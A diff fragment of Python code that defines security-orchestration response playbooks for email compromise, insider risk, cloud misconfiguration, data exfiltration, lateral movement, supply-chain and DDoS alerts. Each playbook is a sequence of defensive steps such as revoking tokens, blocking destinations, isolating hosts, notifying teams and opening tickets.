method="DELETE"),+ http("revoke", "Revoke active sessions",+ url="${IDP_BASE_URL}/users/{{alert.user}}/sessions/revoke-all",+ method="POST"),+ investigate("inv", "Investigate BEC chain",+ focus="identity"),+ notify("n1", "Notify finance team", "slack",+ message="BEC rule removed for {{alert.user}}. "+ "Validate any vendor changes in the last 7d.",+ webhook_env="SLACK_FINANCE_WEBHOOK"),+ ticket("t1", "Open BEC ticket",+ "P2", "BEC inbox rule: {{alert.user}}"),+ ],+ ),+ make_playbook(+ pid="bec-vendor-payment-redirect-v1",+ name="BEC: Vendor Payment Redirect — Freeze",+ description=(+ "Triggered when a vendor banking detail change happens via email. "+ "Freezes pending payments and pages CFO."+ ),+ category=cat, severity=["critical"],+ tags=["bec", "finance", "mitre.t1565.001"],+ steps=[+ http("freeze", "Freeze pending vendor payment",+ url="${ERP_URL}/payments/{{alert.payment_id}}/freeze",+ method="POST"),+ investigate("inv", "Investigate vendor change", focus="identity"),+ notify("n1", "Page CFO", "pagerduty",+ message="Vendor payment {{alert.payment_id}} frozen pending review.",+ service_env="PD_CFO_KEY"),+ gate_human_approval("approve", next_true="release"),+ http("release", "Release payment after approval",+ url="${ERP_URL}/payments/{{alert.payment_id}}/release",+ method="POST"),+ ticket("t1", "Open BEC payment ticket",+ "P1", "BEC payment redirect: {{alert.vendor}}"),+ ],+ ),+ make_playbook(+ pid="bec-impersonation-domain-v1",+ name="BEC: Impersonation Domain Quarantine",+ description=(+ "Triggered when an inbound email originates from a domain that "+ "look-alikes an executive or vendor. Quarantines and blocks."+ ),+ category=cat, severity=["high"],+ tags=["bec", "email", "mitre.t1656"],+ steps=[+ enrich("e1", "Enrich sender domain", "alert.sender_domain"),+ http("quarantine", "Quarantine impersonation message",+ url="${MAIL_URL}/messages/{{alert.message_id}}/quarantine",+ method="POST"),+ http("block-domain", "Block sender domain",+ url="${MAIL_URL}/policy/block-domain",+ method="POST",+ body_template='{"domain":"{{alert.sender_domain}}"}'),+ investigate("inv", "Investigate BEC campaign",+ focus="identity"),+ notify("n1", "Notify SOC", "slack",+ message="Impersonation domain {{alert.sender_domain}} blocked.",+ webhook_env="SLACK_SOC_WEBHOOK"),+ ticket("t1", "Open BEC ticket",+ "P3", "BEC impersonation: {{alert.sender_domain}}"),+ ],+ ),+ make_playbook(+ pid="bec-conditional-access-bypass-v1",+ name="BEC: Conditional Access Policy Bypass",+ description=(+ "Triggered when a BEC-related sign-in succeeds from a region "+ "that should be blocked by Conditional Access. Restores policy."+ ),+ category=cat, severity=["high", "critical"],+ tags=["bec", "identity", "conditional-access"],+ steps=[+ enrich("e1", "Enrich CA policy state",+ "alert.policy_id"),+ http("restore", "Restore conditional access policy",+ url="${IDP_BASE_URL}/policies/{{alert.policy_id}}/enable",+ method="POST"),+ investigate("inv", "Investigate CA bypass",+ focus="identity"),+ notify("n1", "Page identity team", "pagerduty",+ message="CA policy {{alert.policy_id}} re-enabled. Bypass observed.",+ service_env="PD_IDENTITY_KEY"),+ ticket("t1", "Open CA-bypass ticket",+ "P2", "CA bypass: {{alert.user}}"),+ ],+ ),+ make_playbook(+ pid="bec-token-theft-v1",+ name="BEC: M365 / Workspace Token Theft",+ description=(+ "Triggered when a refresh token is observed from a new ASN with no "+ "interactive sign-in. Revokes refresh tokens and forces MFA."+ ),+ category=cat, severity=["critical"],+ tags=["bec", "identity", "token-theft", "mitre.t1539"],+ steps=[+ enrich("e1", "Enrich ASN reputation",+ "alert.source_asn"),+ http("revoke-rt", "Revoke refresh tokens",+ url="${IDP_BASE_URL}/users/{{alert.user}}/refresh-tokens",+ method="DELETE"),+ http("force-mfa", "Force MFA re-enrollment",+ url="${IDP_BASE_URL}/users/{{alert.user}}/mfa/reset",+ method="POST"),+ investigate("inv", "Investigate token-theft chain",+ focus="identity"),+ notify("n1", "Page on-call", "pagerduty",+ message="Refresh-token theft suspected for {{alert.user}}. "+ "Tokens revoked.",+ service_env="PD_SOC_KEY"),+ ticket("t1", "Open BEC token ticket",+ "P1", "BEC token theft: {{alert.user}}"),+ ],+ ),+ ]+++def build_insider_risk() -> list[dict[str, Any]]:+ cat = "insider-risk"+ return [+ make_playbook(+ pid="insider-mass-download-v1",+ name="Insider: Mass File Download",+ description=(+ "Triggered when a single user downloads >N files from a sensitive "+ "store in <T window. Reduces user permissions and notifies manager."+ ),+ category=cat, severity=["high"],+ tags=["insider", "dlp", "mitre.t1530"],+ steps=[+ enrich("e1", "Enrich user role + tenure",+ "alert.user"),+ http("readonly", "Set sensitive-store ACL to read-only",+ url="${SAAS_URL}/acl/{{alert.user}}/readonly",+ method="POST"),+ investigate("inv", "Investigate access pattern",+ focus="identity"),+ notify("n1", "Notify user's manager", "email",+ message="High-volume download by {{alert.user}}. Review needed.",+ webhook_env="EMAIL_WEBHOOK"),+ ticket("t1", "Open insider-risk ticket",+ "P3", "Mass download: {{alert.user}}"),+ ],+ ),+ make_playbook(+ pid="insider-resignation-data-access-v1",+ name="Insider: Resignation + Sensitive Access",+ description=(+ "Triggered when a user with a recent resignation flag accesses "+ "sensitive data. Read-only mode and HR audit."+ ),+ category=cat, severity=["medium", "high"],+ tags=["insider", "hr", "mitre.t1530"],+ steps=[+ enrich("e1", "Enrich HR resignation status",+ "alert.user"),+ http("readonly", "Force read-only on sensitive scopes",+ url="${SAAS_URL}/acl/{{alert.user}}/scopes/sensitive/readonly",+ method="POST"),+ investigate("inv", "Investigate exit-risk pattern",+ focus="identity"),+ notify("n1", "Notify HR + manager", "slack",+ message="Resigning user {{alert.user}} accessed sensitive data. "+ "Read-only enforced.",+ webhook_env="SLACK_HR_WEBHOOK"),+ ticket("t1", "Open exit-risk ticket",+ "P2", "Exit risk: {{alert.user}}",+ queue="hr"),+ ],+ ),+ make_playbook(+ pid="insider-privilege-misuse-v1",+ name="Insider: Privilege Misuse",+ description=(+ "Triggered when a privileged account performs actions outside its "+ "approved JIT window. Revokes privilege and pages HR-Sec."+ ),+ category=cat, severity=["high", "critical"],+ tags=["insider", "privilege", "mitre.t1078.004"],+ steps=[+ http("revoke-priv", "Revoke privileged role",+ url="${IDP_BASE_URL}/users/{{alert.user}}/roles/{{alert.role}}",+ method="DELETE"),+ investigate("inv", "Investigate privilege misuse",+ focus="identity"),+ notify("n1", "Page HR-Sec", "pagerduty",+ message="Privilege misuse by {{alert.user}} ({{alert.role}}). "+ "Role revoked.",+ service_env="PD_HRSEC_KEY"),+ ticket("t1", "Open privilege-misuse ticket",+ "P1", "Privilege misuse: {{alert.user}}",+ queue="hr"),+ ],+ ),+ make_playbook(+ pid="insider-source-code-exfil-v1",+ name="Insider: Source-Code Exfil",+ description=(+ "Triggered when a developer pushes private source to a personal "+ "remote or pastebin-like target. Blocks dest, pages eng-leadership."+ ),+ category=cat, severity=["critical"],+ tags=["insider", "source-code", "mitre.t1567"],+ steps=[+ enrich("e1", "Enrich destination",+ "alert.dst_host"),+ http("block-dest", "Block destination at proxy",+ url="${PROXY_URL}/policy/block",+ method="POST",+ body_template='{"host":"{{alert.dst_host}}","reason":"src-exfil"}'),+ investigate("inv", "Investigate exfil chain",+ focus="forensics"),+ notify("n1", "Page eng-leadership", "pagerduty",+ message="Source-code exfil suspected from {{alert.user}} "+ "to {{alert.dst_host}}.",+ service_env="PD_ENG_LEAD_KEY"),+ ticket("t1", "Open exfil ticket",+ "P1", "Source-code exfil: {{alert.user}}"),+ ],+ ),+ make_playbook(+ pid="insider-after-hours-access-v1",+ name="Insider: Anomalous After-Hours Access",+ description=(+ "Triggered when a user accesses sensitive systems outside their "+ "normal pattern. Step-up MFA and log for HR review."+ ),+ category=cat, severity=["medium"],+ tags=["insider", "anomaly", "mitre.t1078"],+ steps=[+ enrich("e1", "Enrich user normal pattern",+ "alert.user"),+ http("step-up", "Force MFA step-up",+ url="${IDP_BASE_URL}/users/{{alert.user}}/factors/challenge",+ method="POST"),+ investigate("inv", "Score anomaly likelihood",+ focus="identity"),+ ticket("t1", "Open after-hours review",+ "P4", "After-hours access: {{alert.user}}",+ queue="hr"),+ ],+ ),+ ]+++def build_cloud_misconfig() -> list[dict[str, Any]]:+ cat = "cloud-misconfig"+ return [+ make_playbook(+ pid="cloud-s3-public-v1",+ name="Cloud: S3 Bucket Public — Re-private & Audit",+ description=(+ "Triggered by `s3-public-bucket` detection. Sets bucket private, "+ "enables Block Public Access, and audits last 7d access logs."+ ),+ category=cat, severity=["high", "critical"],+ tags=["cloud", "aws", "s3", "mitre.t1530"],+ steps=[+ http("private", "Set bucket private",+ url="${AWS_URL}/s3/{{alert.bucket}}/acl/private",+ method="PUT"),+ http("bpa", "Enable Block Public Access",+ url="${AWS_URL}/s3/{{alert.bucket}}/block-public-access",+ method="PUT"),+ investigate("inv", "Audit last 7d S3 access",+ focus="cloud"),+ notify("n1", "Notify cloud team", "slack",+ message="S3 {{alert.bucket}} re-privatized.",+ webhook_env="SLACK_CLOUD_WEBHOOK"),+ ticket("t1", "Open cloud ticket",+ "P2", "S3 public: {{alert.bucket}}"),+ ],+ ),+ make_playbook(+ pid="cloud-iam-overpriv-v1",+ name="Cloud: Over-Privileged IAM — Detach & Review",+ description=(+ "Triggered when IAM Access Analyzer flags an over-privileged role. "+ "Detaches the policy and opens an owner-review ticket."+ ),+ category=cat, severity=["medium", "high"],+ tags=["cloud", "aws", "iam", "mitre.t1078.004"],+ steps=[+ http("detach", "Detach over-privileged policy",+ url="${AWS_URL}/iam/{{alert.role}}/policies/{{alert.policy}}",+ method="DELETE"),+ investigate("inv", "Investigate access usage",+ focus="cloud"),+ notify("n1", "Notify role owner", "slack",+ message="Policy {{alert.policy}} detached from {{alert.role}}. "+ "Re-add only the minimum needed.",+ webhook_env="SLACK_CLOUD_WEBHOOK"),+ ticket("t1", "Owner-review ticket",+ "P3", "IAM over-priv: {{alert.role}}"),+ ],+ ),+ make_playbook(+ pid="cloud-key-leak-v1",+ name="Cloud: Cloud Access Key Leaked",+ description=(+ "Triggered when a long-lived access key is found in a public repo "+ "or paste site. Rotates the key and scans for downstream use."+ ),+ category=cat, severity=["critical"],+ tags=["cloud", "secrets", "mitre.t1552.001"],+ steps=[+ http("disable", "Disable leaked key",+ url="${AWS_URL}/iam/users/{{alert.user}}/keys/{{alert.key_id}}",+ method="DELETE"),+ http("rotate", "Rotate access key",+ url="${AWS_URL}/iam/users/{{alert.user}}/keys/rotate",+ method="POST"),+ investigate("inv", "Find downstream use of key",+ focus="cloud"),+ notify("n1", "Page cloud-sec", "pagerduty",+ message="Leaked key {{alert.key_id}} disabled and rotated.",+ service_env="PD_CLOUD_KEY"),+ ticket("t1", "Open key-leak ticket",+ "P1", "Leaked key: {{alert.key_id}}"),+ ],+ ),+ make_playbook(+ pid="cloud-mfa-disabled-root-v1",+ name="Cloud: Root Account MFA Disabled",+ description=(+ "Triggered when root MFA is disabled. Re-enables MFA and pages "+ "the cloud-platform owner immediately."+ ),+ category=cat, severity=["critical"],+ tags=["cloud", "iam", "mfa", "mitre.t1556"],+ steps=[+ http("reenable-mfa", "Re-enable root MFA",+ url="${AWS_URL}/iam/root/mfa/enable",+ method="POST"),+ investigate("inv", "Identify actor and intent",+ focus="cloud"),+ notify("n1", "Page platform-owner", "pagerduty",+ message="Root MFA was disabled — re-enabled. Investigate "+ "{{alert.actor}}.",+ service_env="PD_PLATFORM_KEY"),+ ticket("t1", "Open root-MFA ticket",+ "P1", "Root MFA disabled by {{alert.actor}}"),+ ],+ ),+ make_playbook(+ pid="cloud-cloudtrail-disabled-v1",+ name="Cloud: CloudTrail Disabled — Re-enable",+ description=(+ "Triggered when a CloudTrail trail is stopped. Restarts trail "+ "and audits API calls in the dark window."+ ),+ category=cat, severity=["critical"],+ tags=["cloud", "aws", "logging", "mitre.t1562.008"],+ steps=[+ http("start", "Re-enable CloudTrail",+ url="${AWS_URL}/cloudtrail/{{alert.trail}}/start",+ method="POST"),+ investigate("inv", "Audit dark-window calls",+ focus="cloud"),+ notify("n1", "Page cloud-sec", "pagerduty",+ message="CloudTrail {{alert.trail}} restarted.",+ service_env="PD_CLOUD_KEY"),+ ticket("t1", "Open CloudTrail ticket",+ "P1", "CloudTrail disabled: {{alert.trail}}"),+ ],+ ),+ make_playbook(+ pid="cloud-security-group-open-v1",+ name="Cloud: Security Group Opens 0.0.0.0/0",+ description=(+ "Triggered when a security group rule allows ingress from 0.0.0.0/0 "+ "to a sensitive port. Closes the rule and audits the change."+ ),+ category=cat, severity=["high", "critical"],+ tags=["cloud", "aws", "network", "mitre.t1190"],+ steps=[+ http("close", "Remove 0.0.0.0/0 ingress rule",+ url="${AWS_URL}/sg/{{alert.sg}}/ingress/{{alert.rule_id}}",+ method="DELETE"),+ investigate("inv", "Audit who made the change",+ focus="cloud"),+ notify("n1", "Notify cloud team", "slack",+ message="SG {{alert.sg}} 0.0.0.0/0 ingress removed.",+ webhook_env="SLACK_CLOUD_WEBHOOK"),+ ticket("t1", "Open SG ticket",+ "P2", "SG open: {{alert.sg}}"),+ ],+ ),+ make_playbook(+ pid="cloud-rds-public-v1",+ name="Cloud: RDS Instance Publicly Accessible",+ description=(+ "Triggered when an RDS instance toggles to publicly accessible. "+ "Removes public access and audits."+ ),+ category=cat, severity=["high", "critical"],+ tags=["cloud", "aws", "rds", "mitre.t1190"],+ steps=[+ http("private", "Disable RDS public access",+ url="${AWS_URL}/rds/{{alert.instance}}/public/disable",+ method="POST"),+ investigate("inv", "Audit RDS access window",+ focus="cloud"),+ notify("n1", "Notify cloud team", "slack",+ message="RDS {{alert.instance}} no longer public.",+ webhook_env="SLACK_CLOUD_WEBHOOK"),+ ticket("t1", "Open RDS-public ticket",+ "P1", "RDS public: {{alert.instance}}"),+ ],+ ),+ make_playbook(+ pid="cloud-gke-anonymous-v1",+ name="Cloud: GKE Cluster Anonymous Auth",+ description=(+ "Triggered when GKE cluster is configured to allow anonymous "+ "Kubernetes API access. Disables anonymous and audits."+ ),+ category=cat, severity=["high", "critical"],+ tags=["cloud", "gcp", "kubernetes", "mitre.t1190"],+ steps=[+ http("disable-anon", "Disable anonymous auth",+ url="${GCP_URL}/gke/{{alert.cluster}}/anonymous/disable",+ method="POST"),+ investigate("inv", "Audit anonymous-window calls",+ focus="cloud"),+ notify("n1", "Page platform team", "pagerduty",+ message="GKE {{alert.cluster}} anonymous disabled.",+ service_env="PD_PLATFORM_KEY"),+ ticket("t1", "Open GKE-anon ticket",+ "P1", "GKE anonymous: {{alert.cluster}}"),+ ],+ ),+ make_playbook(+ pid="cloud-azure-blob-public-v1",+ name="Cloud: Azure Blob Container Public",+ description=(+ "Triggered when an Azure Storage container is set to public. "+ "Reverts to private and audits."+ ),+ category=cat, severity=["high"],+ tags=["cloud", "azure", "storage", "mitre.t1530"],+ steps=[+ http("private", "Set container private",+ url="${AZURE_URL}/storage/{{alert.account}}/{{alert.container}}/private",+ method="POST"),+ investigate("inv", "Audit blob access",+ focus="cloud"),+ notify("n1", "Notify cloud team", "slack",+ message="Azure {{alert.container}} re-privatized.",+ webhook_env="SLACK_CLOUD_WEBHOOK"),+ ticket("t1", "Open Azure ticket",+ "P2", "Azure blob public: {{alert.container}}"),+ ],+ ),+ make_playbook(+ pid="cloud-cross-account-trust-v1",+ name="Cloud: Unexpected Cross-Account Trust",+ description=(+ "Triggered when a role trust policy adds an external account ID "+ "not on the allow-list. Revokes and audits."+ ),+ category=cat, severity=["critical"],+ tags=["cloud", "aws", "iam", "mitre.t1078.004"],+ steps=[+ http("revoke-trust", "Remove cross-account trust",+ url="${AWS_URL}/iam/{{alert.role}}/trust/{{alert.external_account}}",+ method="DELETE"),+ investigate("inv", "Audit assumptions in dark window",+ focus="cloud"),+ notify("n1", "Page cloud-sec", "pagerduty",+ message="Cross-account trust to {{alert.external_account}} removed "+ "from {{alert.role}}.",+ service_env="PD_CLOUD_KEY"),+ ticket("t1", "Open cross-account ticket",+ "P1", "Cross-account trust: {{alert.role}}"),+ ],+ ),+ ]+++def build_data_exfil() -> list[dict[str, Any]]:+ cat = "data-exfil"+ return [+ make_playbook(+ pid="exfil-large-upload-v1",+ name="Exfil: Large Outbound Upload",+ description=(+ "Triggered when a host uploads >X GB to a non-corporate destination "+ "in a short window. Blocks destination and investigates."+ ),+ category=cat, severity=["high", "critical"],+ tags=["exfil", "dlp", "mitre.t1567"],+ steps=[+ enrich("e1", "Enrich destination", "alert.dst_host"),+ http("block", "Block destination at proxy",+ url="${PROXY_URL}/policy/block",+ method="POST",+ body_template='{"host":"{{alert.dst_host}}","reason":"large-upload"}'),+ investigate("inv", "Investigate exfil pattern",+ focus="forensics"),+ notify("n1", "Notify SOC", "slack",+ message="Large upload {{alert.bytes_out}} from {{alert.host}} "+ "to {{alert.dst_host}} blocked.",+ webhook_env="SLACK_SOC_WEBHOOK"),+ ticket("t1", "Open exfil ticket",+ "P2", "Large upload: {{alert.host}}"),+ ],+ ),+ make_playbook(+ pid="exfil-archive-egress-v1",+ name="Exfil: Archive File Egress (.zip / .7z / .rar)",+ description=(+ "Triggered when a host uploads an archive to an external dest. "+ "Holds the file in DLP review queue and notifies user's manager."+ ),+ category=cat, severity=["medium", "high"],+ tags=["exfil", "dlp", "archive"],+ steps=[+ enrich("e1", "Enrich destination",+ "alert.dst_host"),+ http("dlp-review", "Send to DLP review queue",+ url="${DLP_URL}/review",+ method="POST",+ body_template=('{"host":"{{alert.host}}",'+ '"file":"{{alert.file_name}}",'+ '"dst":"{{alert.dst_host}}"}')),+ investigate("inv", "Investigate archive content",+ focus="forensics"),+ notify("n1", "Notify user's manager", "email",+ message="Archive upload by {{alert.user}} to {{alert.dst_host}} "+ "queued for DLP review.",+ webhook_env="EMAIL_WEBHOOK"),+ ticket("t1", "Open DLP ticket",+ "P3", "Archive egress: {{alert.user}}"),+ ],+ ),+ make_playbook(+ pid="exfil-dns-tunneling-v1",+ name="Exfil: DNS Tunneling",+ description=(+ "Triggered by high-entropy DNS query length on a host. Sinkholes "+ "the suspect domain and isolates the host."+ ),+ category=cat, severity=["critical"],+ tags=["exfil", "dns", "mitre.t1071.004"],+ steps=[+ enrich("e1", "Enrich domain reputation",+ "alert.dns_query"),+ http("sinkhole", "Sinkhole domain at resolver",+ url="${DNS_URL}/sinkhole",+ method="POST",+ body_template='{"domain":"{{alert.dns_query}}"}'),+ isolate_host("iso", "Isolate beaconing host"),+ investigate("inv", "Investigate DNS tunneling",+ focus="forensics"),+ notify("n1", "Page on-call", "pagerduty",+ message="DNS tunneling {{alert.host}} -> {{alert.dns_query}} "+ "sinkholed and isolated.",+ service_env="PD_SOC_KEY"),+ ticket("t1", "Open DNS-tunnel ticket",+ "P1", "DNS tunneling: {{alert.host}}"),+ ],+ ),+ make_playbook(+ pid="exfil-personal-cloud-v1",+ name="Exfil: Personal Cloud Storage Upload",+ description=(+ "Triggered when corporate data uploads to a personal cloud "+ "(personal Drive, Dropbox, iCloud). Blocks dest, manager notify."+ ),+ category=cat, severity=["medium", "high"],+ tags=["exfil", "saas", "mitre.t1567.002"],+ steps=[+ http("block", "Block destination at proxy",+ url="${PROXY_URL}/policy/block",+ method="POST",+ body_template='{"host":"{{alert.dst_host}}","reason":"personal-cloud"}'),+ investigate("inv", "Investigate access pattern",+ focus="identity"),+ notify("n1", "Notify user's manager", "email",+ message="Personal-cloud upload by {{alert.user}} to "+ "{{alert.dst_host}} blocked.",+ webhook_env="EMAIL_WEBHOOK"),+ ticket("t1", "Open exfil ticket",+ "P3", "Personal cloud: {{alert.user}}"),+ ],+ ),+ make_playbook(+ pid="exfil-removable-media-v1",+ name="Exfil: Sensitive Data to Removable Media",+ description=(+ "Triggered when a sensitive file is written to a USB volume. "+ "Blocks USB writes via EDR policy and opens a ticket."+ ),+ category=cat, severity=["medium"],+ tags=["exfil", "endpoint", "usb", "mitre.t1052"],+ steps=[+ http("block-usb", "Push USB write-block to host",+ url="${EDR_URL}/hosts/{{alert.host}}/policy/usb-readonly",+ method="POST"),+ investigate("inv", "Investigate file sensitivity",+ focus="forensics"),+ notify("n1", "Notify user's manager", "email",+ message="Sensitive write to USB by {{alert.user}}. "+ "Host USB now read-only.",+ webhook_env="EMAIL_WEBHOOK"),+ ticket("t1", "Open USB-exfil ticket",+ "P3", "USB exfil: {{alert.user}}"),+ ],+ ),+ ]+++def build_lateral_movement() -> list[dict[str, Any]]:+ cat = "lateral-movement"+ return [+ make_playbook(+ pid="lateral-psexec-detected-v1",+ name="Lateral: PsExec / Remote Service Creation",+ description=(+ "Triggered by remote service creation patterns indicative of "+ "PsExec / Impacket. Isolates target and source, investigates."+ ),+ category=cat, severity=["high", "critical"],+ tags=["lateral", "endpoint", "mitre.t1021.002"],+ steps=[+ isolate_host("iso-dst", "Isolate target host", "alert.dst_host"),+ isolate_host("iso-src", "Isolate source host", "alert.src_host"),+ investigate("inv", "Investigate lateral chain", focus="forensics"),+ notify("n1", "Page on-call", "pagerduty",+ message="PsExec lateral {{alert.src_host}} -> {{alert.dst_host}}. "+ "Both isolated.",+ service_env="PD_SOC_KEY"),+ ticket("t1", "Open lateral ticket",+ "P1", "PsExec lateral: {{alert.src_host}} -> {{alert.dst_host}}"),+ ],+ ),+ make_playbook(+ pid="lateral-rdp-spray-v1",+ name="Lateral: RDP Spray",+ description=(+ "Triggered when one host opens RDP to >N hosts in <T window. "+ "Blocks the source IP, isolates host, investigates."+ ),+ category=cat, severity=["high"],+ tags=["lateral", "rdp", "mitre.t1021.001"],+ steps=[+ block_ip("b1", "Block source IP", "alert.src_ip", "24h"),+ isolate_host("iso", "Isolate source host", "alert.src_host"),+ investigate("inv", "Investigate RDP spray",+ focus="forensics"),+ notify("n1", "Notify SOC", "slack",+ message="RDP spray from {{alert.src_host}} blocked.",+ webhook_env="SLACK_SOC_WEBHOOK"),+ ticket("t1", "Open RDP-spray ticket",+ "P2", "RDP spray: {{alert.src_host}}"),+ ],+ ),+ make_playbook(+ pid="lateral-kerberoasting-v1",+ name="Lateral: Kerberoasting",+ description=(+ "Triggered by abnormal SPN-ticket request volume from a single "+ "user. Resets impacted service-account credentials."+ ),+ category=cat, severity=["high"],+ tags=["lateral", "ad", "mitre.t1558.003"],+ steps=[+ investigate("inv", "Investigate kerberoasting",+ focus="identity"),+ http("reset-svc", "Reset impacted SVC accounts",+ url="${IDP_BASE_URL}/service-accounts/bulk-reset",+ method="POST",+ body_template='{"accounts": {{context.impacted_svc_accounts}}}'),+ http("disable-user", "Disable suspect user",+ url="${IDP_BASE_URL}/users/{{alert.user}}/disable",+ method="POST"),+ notify("n1", "Page identity team", "pagerduty",+ message="Kerberoasting by {{alert.user}}. SVC accounts reset.",+ service_env="PD_IDENTITY_KEY"),+ ticket("t1", "Open kerberoast ticket",+ "P1", "Kerberoasting: {{alert.user}}"),+ ],+ ),+ make_playbook(+ pid="lateral-pass-the-hash-v1",+ name="Lateral: Pass-The-Hash",+ description=(+ "Triggered by NTLM relay / PTH detection. Disables the user "+ "and isolates source + destination."+ ),+ category=cat, severity=["critical"],+ tags=["lateral", "ad", "mitre.t1550.002"],+ steps=[+ http("disable-user", "Disable account",+ url="${IDP_BASE_URL}/users/{{alert.user}}/disable",+ method="POST"),+ isolate_host("iso-src", "Isolate source host", "alert.src_host"),+ isolate_host("iso-dst", "Isolate destination host", "alert.dst_host"),+ investigate("inv", "Investigate PTH chain",+ focus="forensics"),+ notify("n1", "Page on-call", "pagerduty",+ message="PTH detected: {{alert.user}} {{alert.src_host}} -> "+ "{{alert.dst_host}}. Account disabled.",+ service_env="PD_SOC_KEY"),+ ticket("t1", "Open PTH ticket",+ "P1", "PTH: {{alert.user}}"),+ ],+ ),+ make_playbook(+ pid="lateral-cross-domain-v1",+ name="Lateral: Cross-Domain Movement",+ description=(+ "Triggered when an account from one trust domain authenticates to "+ "an asset in a separately-classified domain in a way that violates "+ "policy. Segments the network and investigates."+ ),+ category=cat, severity=["critical"],+ tags=["lateral", "trust", "mitre.t1021"],+ steps=[+ http("segment", "Apply network segmentation rule",+ url="${FW_URL}/policy/segment",+ method="POST",+ body_template=('{"src":"{{alert.src_host}}",'+ '"dst_domain":"{{alert.dst_domain}}"}')),+ investigate("inv", "Investigate cross-domain movement",+ focus="forensics"),+ notify("n1", "Page on-call", "pagerduty",+ message="Cross-domain lateral {{alert.user}}. Segmentation applied.",+ service_env="PD_SOC_KEY"),+ ticket("t1", "Open cross-domain ticket",+ "P1", "Cross-domain lateral: {{alert.user}}"),+ ],+ ),+ ]+++def build_supply_chain() -> list[dict[str, Any]]:+ cat = "supply-chain"+ return [+ make_playbook(+ pid="supply-malicious-npm-v1",+ name="Supply Chain: Malicious npm Package",+ description=(+ "Triggered when a published npm package matches a known-bad list. "+ "Blocks installs at registry-mirror, audits org installs."+ ),+ category=cat, severity=["high", "critical"],+ tags=["supply-chain", "npm", "mitre.t1195"],+ steps=[+ enrich("e1", "Enrich package reputation",+ "alert.package_name"),+ http("block", "Add package to mirror block-list",+ url="${REGISTRY_URL}/policy/block",+ method="POST",+ body_template=('{"ecosystem":"npm",'+ '"package":"{{alert.package_name}}",'+ '"version":"{{alert.package_version}}"}')),+ http("audit-installs", "List org installs",+ url="${SCA_URL}/installs?ecosystem=npm&package={{alert.package_name}}",+ method="GET"),+ investigate("inv", "Investigate supply-chain blast radius",+ focus="cloud"),+ notify("n1", "Page eng-sec", "pagerduty",+ message="Malicious npm {{alert.package_name}} blocked. "+ "{{context.install_count}} installs found.",+ service_env="PD_ENGSEC_KEY"),+ ticket("t1", "Open supply-chain ticket",+ "P1", "Malicious npm: {{alert.package_name}}"),+ ],+ ),+ make_playbook(+ pid="supply-pypi-typosquat-v1",+ name="Supply Chain: PyPI Typosquat",+ description=(+ "Triggered when a typosquat package is observed in CI installs. "+ "Pulls install lock to canonical name and audits."+ ),+ category=cat, severity=["high"],+ tags=["supply-chain", "pypi", "mitre.t1195"],+ steps=[+ http("block", "Block typosquat at mirror",+ url="${REGISTRY_URL}/policy/block",+ method="POST",+ body_template=('{"ecosystem":"pypi",'+ '"package":"{{alert.package_name}}"}')),+ http("audit", "List repos with this dependency",+ url="${SCA_URL}/repos?ecosystem=pypi&package={{alert.package_name}}",+ method="GET"),+ investigate("inv", "Investigate typosquat",+ focus="cloud"),+ notify("n1", "Notify eng team", "slack",+ message="PyPI typosquat {{alert.package_name}} blocked. "+ "{{context.repo_count}} repos affected.",+ webhook_env="SLACK_ENG_WEBHOOK"),+ ticket("t1", "Open typosquat ticket",+ "P2", "PyPI typosquat: {{alert.package_name}}"),+ ],+ ),+ make_playbook(+ pid="supply-github-action-compromise-v1",+ name="Supply Chain: GitHub Action Compromise",+ description=(+ "Triggered when a referenced GitHub Action SHA changes "+ "unexpectedly or matches a compromise advisory. Pin to "+ "last-known-good and audit."+ ),+ category=cat, severity=["high", "critical"],+ tags=["supply-chain", "github", "mitre.t1195.002"],+ steps=[+ http("pin", "Pin Action to last-known-good SHA",+ url="${CI_URL}/actions/pin",+ method="POST",+ body_template=('{"action":"{{alert.action}}",'+ '"sha":"{{alert.lkg_sha}}"}')),+ http("audit", "List workflows using this Action",+ url="${CI_URL}/workflows?action={{alert.action}}",+ method="GET"),+ investigate("inv", "Investigate Action compromise",+ focus="cloud"),+ notify("n1", "Page eng-sec", "pagerduty",+ message="GH Action {{alert.action}} pinned to {{alert.lkg_sha}}.",+ service_env="PD_ENGSEC_KEY"),+ ticket("t1", "Open Action-compromise ticket",+ "P1", "GH Action compromise: {{alert.action}}"),+ ],+ ),+ make_playbook(+ pid="supply-vendor-breach-v1",+ name="Supply Chain: Vendor Breach Notification",+ description=(+ "Triggered when a vendor publishes a breach advisory matching "+ "internal vendor inventory. Blocks vendor IPs, opens procurement "+ "review."+ ),+ category=cat, severity=["high", "critical"],+ tags=["supply-chain", "vendor", "mitre.t1199"],+ steps=[+ http("block-vendor-ips", "Block vendor IP ranges",+ url="${FW_URL}/policy/block-vendor",+ method="POST",+ body_template='{"vendor":"{{alert.vendor}}"}'),+ investigate("inv", "Investigate vendor exposure",+ focus="cloud"),+ notify("n1", "Notify procurement + sec", "slack",+ message="Vendor {{alert.vendor}} breach. IPs blocked. "+ "Review contracts and integrations.",+ webhook_env="SLACK_PROCUREMENT_WEBHOOK"),+ ticket("t1", "Open vendor-breach ticket",+ "P1", "Vendor breach: {{alert.vendor}}",+ queue="procurement"),+ ],+ ),+ make_playbook(+ pid="supply-iac-drift-v1",+ name="Supply Chain: IaC Drift Detected",+ description=(+ "Triggered when production infra deviates from IaC source of "+ "truth in a security-relevant way. Reverts to declared state."+ ),+ category=cat, severity=["medium", "high"],+ tags=["supply-chain", "iac", "drift"],+ steps=[+ http("revert", "Revert to declared IaC state",+ url="${IAC_URL}/apply",+ method="POST",+ body_template='{"resource":"{{alert.resource_id}}"}'),+ investigate("inv", "Investigate drift cause",+ focus="cloud"),+ notify("n1", "Notify platform team", "slack",+ message="IaC drift {{alert.resource_id}} reverted.",+ webhook_env="SLACK_PLATFORM_WEBHOOK"),+ ticket("t1", "Open IaC-drift ticket",+ "P3", "IaC drift: {{alert.resource_id}}"),+ ],+ ),+ ]+++def build_ddos() -> list[dict[str, Any]]:+ cat = "ddos"+ return [+ make_playbook(+ pid="ddos-volumetric-l3-v1",+ name="DDoS: Volumetric L3/L4",+ description=(+ "Triggered by volumetric flood detection at edge. Engages "+ "scrubbing provider and pages on-call."+ ),+ category=cat, severity=["critical"],+ tags=["ddos", "network", "mitre.t1498"],+ steps=[+ http("scrub-on", "Engage DDoS scrubbing",+ url="${DDOS_URL}/scrubbing/enable",+ method="POST",+ body_template='{"target":"{{alert.target}}"}'),+ investigate("inv", "Investigate attack signature",+ focus="forensics"),+ notify("n1", "Page network on-call", "pagerduty",+ message="L3/L4 DDoS on {{alert.target}}. Scrubbing engaged.",+ 